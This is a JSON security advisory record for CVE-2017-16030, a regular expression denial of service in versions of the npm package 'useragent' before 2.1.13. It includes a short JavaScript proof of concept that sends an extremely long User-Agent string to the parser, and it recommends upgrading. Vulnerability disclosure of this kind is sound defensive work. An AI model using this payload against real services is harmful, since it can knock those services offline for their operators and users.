{"id":"GHSA-pjmx-9xr3-82qr","summary":"ReDoS via long UserAgent header in useragent","details":"Affected versions of `useragent` are vulnerable to regular expression denial of service when an arbitrarily long `User-Agent` header is parsed.\n\n\n## Proof of Concept\n```js\nvar useragent = require('useragent');\n\nvar badUserAgent = 'MSIE 0.0'+Array(900000).join('0')+'XBLWP';\nvar request = 'GET / HTTP/1.1\\r\\nUser-Agent: ' + badUserAgent + '\\r\\n\\r\\n';\nconsole.log(useragent.parse(request));\n```\n\n\n## Recommendation\n\nUpdate to version 2.1.13 or later.","aliases":["CVE-2017-16030"],"modified":"2023-11-08T03:59:00.619293Z","published":"2018-07-24T19:59:13Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2020-06-16T21:49:26Z","nvd_published_at":null,"cwe_ids":["CWE-400"]},"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2017-16030"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-pjmx-9xr3-82qr"},{"type":"WEB","url":"https://www.npmjs.com/advisories/312"}],"affected":[{"package":{"name":"useragent","ecosystem":"npm","purl":"pkg:npm/useragent"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.1.13"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 2.1.12","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2018/07/GHSA-pjmx-9xr3-82qr/GHSA-pjmx-9xr3-82qr.json"}}],"schema_version":"1.9.0"}